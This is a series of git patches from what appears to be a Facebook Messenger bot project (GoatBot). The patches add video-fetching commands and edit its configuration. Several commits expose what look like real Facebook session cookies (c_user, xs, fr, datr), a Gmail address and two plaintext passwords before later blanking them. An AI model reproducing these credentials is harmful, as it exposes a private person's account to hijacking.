"0", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "vpd", - "value": "v1%3B764x393x2.75", + "value": "v1%3B764x393x2.225780963897705", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" + }, + { + "key": "m_pixel_ratio", + "value": "2.225780963897705", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "wd", - "value": "393x764", + "value": "486x944", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "fr", - "value": "0Ww0kmhxfAwOrel32.AWWBu_GlKw7R4iU85fnGVao0SAk.Bln1Ql.KJ.AAA.0.0.BlzOLl.AWXbMplzb1Q", + "value": "0qt3fl9ALkRCo9Rr4.AWWrDTp3iZ2BNVTflDHJsJOVHlI.BmAZYz..AAA.0.0.BmE17r.AWVxNr08WH4", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "c_user", - "value": "100024924846681", + "value": "100074772216830", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "xs", - "value": "49%3ARpJxBq-Bpt_dww%3A2%3A1707926246%3A-1%3A3807", + "value": "49%3AWlS3cEi-HmS-UQ%3A2%3A1712545515%3A-1%3A3594", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "locale", - "value": "en_US", + "value": "vi_VN", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" }, { "key": "wl_cbv", - "value": "v2%3Bclient_version%3A2408%3Btimestamp%3A1708009006", + "value": "v2%3Bclient_version%3A2461%3Btimestamp%3A1712545532", + "domain": "facebook.com", + "path": "/", + "hostOnly": false, + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" + }, + { + "key": "m_page_voice", + "value": "100074772216830", "domain": "facebook.com", "path": "/", "hostOnly": false, - "creation": "2024-02-15T14:56:51.133Z", - "lastAccessed": "2024-02-15T14:56:51.133Z" + "creation": "2024-04-08T03:05:38.022Z", + "lastAccessed": "2024-04-08T03:05:38.022Z" } ] From 58f5d75840d09ba3cb227d154873d027fc447af4 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 09:11:34 +0545 Subject: [PATCH 117/126] Update shoti.js --- scripts/cmds/shoti.js | 71 +++++++++++++++++++++++-------------------- 1 file changed, 38 insertions(+), 33 deletions(-) diff --git a/scripts/cmds/shoti.js b/scripts/cmds/shoti.js index 73aa0f7619..768028050f 100644 --- a/scripts/cmds/shoti.js +++ b/scripts/cmds/shoti.js @@ -1,51 +1,56 @@ const axios = require("axios"); -const request = require("request"); const fs = require("fs"); +const path = require("path"); module.exports = { config: { name: "shoti", aliases: [], - version: "1.0", - author: "kshitiz", - countDown: 20, + author: "Kshitiz", + version: "2.0", + cooldowns: 10, role: 0, - shortDescription: "shoti", - longDescription: "you need shoti broo", + shortDescription: "Get random shoti video", + longDescription: "Get random shoti video", category: "fun", - guide: "{pn} shoti", + guide: "{p}shoti", }, - onStart: async function ({ api, event, message }) { + + onStart: async function ({ api, event, args, message }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + try { - - message.reply("Shoti command is starting..."); + const response = await axios.get("https://shoti-waifu.onrender.com/kshitiz"); + const postData = response.data.posts; + const randomIndex = Math.floor(Math.random() * postData.length); + const randomPost = postData[randomIndex]; - const response = await axios.post("https://api--v1-shoti.vercel.app/api/v1/get", { - apikey: "$shoti-1hea201h70g1ms5cgh8", - }); + const videoUrls = randomPost.map(url => url.replace(/\\/g, "/")); - const file = fs.createWriteStream(__dirname + "/cache/shoti.mp4"); - - const rqs = request(encodeURI(response.data.data.url)); - rqs.pipe(file); - - file.on("finish", async () => { - - await api.sendMessage( - { - body: `@${response.data.data.user.username}`, - attachment: fs.createReadStream(__dirname + "/cache/shoti.mp4"), - }, - event.threadID, - event.messageID - ); - }); + const selectedUrl = videoUrls[Math.floor(Math.random() * videoUrls.length)]; - file.on("error", (err) => { - api.sendMessage(`Shoti Error: ${err}`, event.threadID, event.messageID); + const videoResponse = await axios.get(selectedUrl, { responseType: "stream" }); + + const tempVideoPath = path.join(__dirname, "cache", `${Date.now()}.mp4`); + const writer = fs.createWriteStream(tempVideoPath); + videoResponse.data.pipe(writer); + + writer.on("finish", async () => { + const stream = fs.createReadStream(tempVideoPath); + const user = response.data.user || "@user_unknown"; + await message.reply({ + body: `username:"${user}"`, + attachment: stream, + }); + api.setMessageReaction("✅", event.messageID, (err) => {}, true); + fs.unlink(tempVideoPath, (err) => { + if (err) console.error(err); + console.log(`Deleted ${tempVideoPath}`); + }); }); } catch (error) { - api.sendMessage("An error occurred while generating video:" + error, event.threadID, event.messageID); + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); } - }, + } }; From 0b74c1685402fd93aa34dc07903c97e9dd9a1b11 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 09:12:07 +0545 Subject: [PATCH 118/126] Create wifey.js --- scripts/cmds/wifey.js | 45 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 scripts/cmds/wifey.js diff --git a/scripts/cmds/wifey.js b/scripts/cmds/wifey.js new file mode 100644 index 0000000000..7c75584381 --- /dev/null +++ b/scripts/cmds/wifey.js @@ -0,0 +1,45 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "wifey", + aliases: [], + author: "Kshitiz", + version: "1.0", + cooldowns: 10, + role: 0, + shortDescription: "Get random wifey ", + longDescription: "Get random wifey video", + category: "fun", + guide: "{p}wifey", + }, + + onStart: async function ({ api, event, args, message }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + + try { + const response = await axios.get(`https://wifey-csz1.onrender.com/kshitiz`, { responseType: "stream" }); + + const tempVideoPath = path.join(__dirname, "cache", `${Date.now()}.mp4`); + + const writer = fs.createWriteStream(tempVideoPath); + response.data.pipe(writer); + + writer.on("finish", async () => { + const stream = fs.createReadStream(tempVideoPath); + + message.reply({ + body: `Random Wifey Videos.`, + attachment: stream, + }); + + api.setMessageReaction("✅", event.messageID, (err) => {}, true); + }); + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } + } +}; From 4d866a16440296f96e5504cb720c37cc7966b5cc Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 8 Apr 2024 09:28:04 +0545 Subject: [PATCH 119/126] Update config.dev.json --- config.dev.json | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/config.dev.json b/config.dev.json index 61003b7d9d..8a131cf644 100644 --- a/config.dev.json +++ b/config.dev.json @@ -9,11 +9,11 @@ "intervalGetNewCookie": 1440, "notes": "time the system automatically retrieves new cookies from email/password, unit is minute, if you set null, the system will not automatically retrieve new cookies, it saves you from having to manually change your cookie every time it expires. recommended set to 1440 (1day) or 4320 (3day).TO BE ABLE TO USE THIS FEATURE YOU NEED TO ENTER THE ACCOUNT PASSWORD ABOVE" }, - "antiInbox": false, + "antiInbox": true, "language": "en", "notesLanguage": "change to your language with ISO 639-1 code, available languages: vi (Vietnamese), en (English)", - "nickNameBot": "GoatBot", - "prefix": "-", + "nickNameBot": "You left the group.", + "prefix": ".", "adminOnly": { "enable": false, "ignoreCommand": [] @@ -128,7 +128,7 @@ "message_unsend": true, "message_reply": true, "event": true, - "read_receipt": true, + "read_receipt": false, "typ": false, "presence": false }, From fef4a8a5970285682b9bbf71fddae9b5325f2ab8 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 20 May 2024 17:32:05 +0545 Subject: [PATCH 120/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 8a131cf644..063d9ca11f 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "guysh0686@gmail.com", - "password": "terobau_111", + "password": "Hacker.999", "2FASecret": "", "i_user": "", "proxy": null, From 249885b6fe2f95f698d429a44241f1f3ec624de8 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 20 May 2024 17:51:35 +0545 Subject: [PATCH 121/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 063d9ca11f..416c836c03 100644 --- a/config.dev.json +++ b/config.dev.json @@ -114,7 +114,7 @@ }, "hideNotiMessage": { "commandNotFound": false, - "adminOnly": true, + "adminOnly": false, "threadBanned": false, "userBanned": false, "needRoleToUseCmd": false, From ee266487004a58c4a3c5ac0da0ac179ee9c61795 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 2 Jun 2024 08:15:22 +0545 Subject: [PATCH 122/126] Update config.dev.json --- config.dev.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config.dev.json b/config.dev.json index 416c836c03..d9924c8072 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { - "email": "guysh0686@gmail.com", - "password": "Hacker.999", + "email": "", + "password": "", "2FASecret": "", "i_user": "", "proxy": null, From a7937b728b68dda7d7b814bd5fffe2c1f440e600 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Mon, 3 Jun 2024 12:20:17 +0545 Subject: [PATCH 123/126] Create cache --- scripts/cmds/cache | 1 + 1 file changed, 1 insertion(+) create mode 100644 scripts/cmds/cache diff --git a/scripts/cmds/cache b/scripts/cmds/cache new file mode 100644 index 0000000000..8b13789179 --- /dev/null +++ b/scripts/cmds/cache @@ -0,0 +1 @@ + From a4f84db13cca5be0b2f89fff5f4d8b999976fdfd Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 20 Jun 2024 15:15:40 +0545 Subject: [PATCH 124/126] Update and rename account.dev.txt to account.txt --- account.dev.txt | 128 ------------------------------------------------ account.txt | 1 + 2 files changed, 1 insertion(+), 128 deletions(-) delete mode 100644 account.dev.txt create mode 100644 account.txt diff --git a/account.dev.txt b/account.dev.txt deleted file mode 100644 index 6a1faf89b2..0000000000 --- a/account.dev.txt +++ /dev/null @@ -1,128 +0,0 @@ -[ - { - "key": "dbln", - "value": "%7B%22100074772216830%22%3A%22xAX3thAR%22%7D", - "domain": "facebook.com", - "path": "/login/device-based/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "datr", - "value": "M5YBZvfeYXJ52lPakNBqiZC-", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "sb", - "value": "M5YBZuypgYfio4rhvKvXsUGG", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "ps_l", - "value": "0", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "ps_n", - "value": "0", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "vpd", - "value": "v1%3B764x393x2.225780963897705", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "m_pixel_ratio", - "value": "2.225780963897705", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "wd", - "value": "486x944", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "fr", - "value": "0qt3fl9ALkRCo9Rr4.AWWrDTp3iZ2BNVTflDHJsJOVHlI.BmAZYz..AAA.0.0.BmE17r.AWVxNr08WH4", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "c_user", - "value": "100074772216830", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "xs", - "value": "49%3AWlS3cEi-HmS-UQ%3A2%3A1712545515%3A-1%3A3594", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "locale", - "value": "vi_VN", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "wl_cbv", - "value": "v2%3Bclient_version%3A2461%3Btimestamp%3A1712545532", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - }, - { - "key": "m_page_voice", - "value": "100074772216830", - "domain": "facebook.com", - "path": "/", - "hostOnly": false, - "creation": "2024-04-08T03:05:38.022Z", - "lastAccessed": "2024-04-08T03:05:38.022Z" - } -] diff --git a/account.txt b/account.txt new file mode 100644 index 0000000000..d3f5a12faa --- /dev/null +++ b/account.txt @@ -0,0 +1 @@ + From 4dd32011b228db81eb55a952ae53152653179774 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 20 Jun 2024 15:16:22 +0545 Subject: [PATCH 125/126] Rename config.dev.json to config.json --- config.dev.json => config.json | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename config.dev.json => config.json (100%) diff --git a/config.dev.json b/config.json similarity index 100% rename from config.dev.json rename to config.json From b679091987e70b9e1697a00ab3d9e1f9c66db3b6 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 20 Jun 2024 15:17:13 +0545 Subject: [PATCH 126/126] Rename configCommands.dev.json to configCommands.json --- configCommands.dev.json => configCommands.json | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename configCommands.dev.json => configCommands.json (100%) diff --git a/configCommands.dev.json b/configCommands.json similarity index 100% rename from configCommands.dev.json rename to configCommands.json